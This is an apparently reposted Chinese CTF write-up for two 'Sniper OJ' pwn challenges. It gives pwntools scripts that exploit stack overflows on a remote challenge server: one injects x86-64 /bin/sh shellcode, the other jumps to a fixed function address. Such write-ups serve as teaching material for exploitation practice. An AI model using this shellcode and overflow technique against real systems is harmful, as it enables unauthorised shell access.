Sniper OJ部分writeup

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Sniper OJ部分writeup相关的知识,希望对你有一定的参考价值。

0x00 shellcode pwn

因为题目直接有源码,我就不拖进IDA了,直接看代码

这是一个典型的栈溢出,我们只需要构造shellcode获得/bin/sh权限就可以得到flag.下面是所用脚本。

 

from pwn import *

from sys import *

reload(sys)

sys.setdefaultencoding(\'gb18030\')

shell_code = \'\\x31\\xc0\\x48\\xbb\\xd1\\x9d\\x96\\x91\\xd0\\x8c\\x97\\xff\\x48\\xf7\\xdb\\x53\\x54\\x5f\\x99\\x52\\x57\\x54\\x5e\\xb0\\x3b\\x0f\\x05\'

conn = remote(\'123.207.114.37\',30001) 

addr = conn.recvuntil(\']\')

add = int(addr[-13:-1],16)               

shellcode_add = p64(add + 24 + 8)

v = 24*"a" + shellcode_add + shell_code

conn.send(v+\'\\n\')

conn.interactive()

cd

运行脚本,得到flag

0x01 bof pwn

源码如下

这是一个更简单的栈溢出,只要构造溢出调用bingo函数就能得到flag

把源文件拖进ida,发现bingo函数位于地址0x0000000000400616处

于是编写脚本

#!/usr/bin/python
from pwn import *
#context.log_level = \'DEBUG\'
r = remote(\'123.207.114.37\',30000)
r.send(\'A\'*24+\'\\x16\\x06\\x40\\x00\\x00\\x00\\x00\\x00\') 
r.interactive()

得到flag

 

以上是关于Sniper OJ部分writeup的主要内容,如果未能解决你的问题,请参考以下文章

Jarvis OJ-Reverse题目Writeup

Jarvis OJ - [XMAN]level1 - Writeup——简单shellcode利用

Jarvis OJ - class10 -Writeup

Jarvis OJ - 爬楼梯 -Writeup

Jarvis OJ Pwn writeup

Jarvis OJ - DD-Hello -Writeup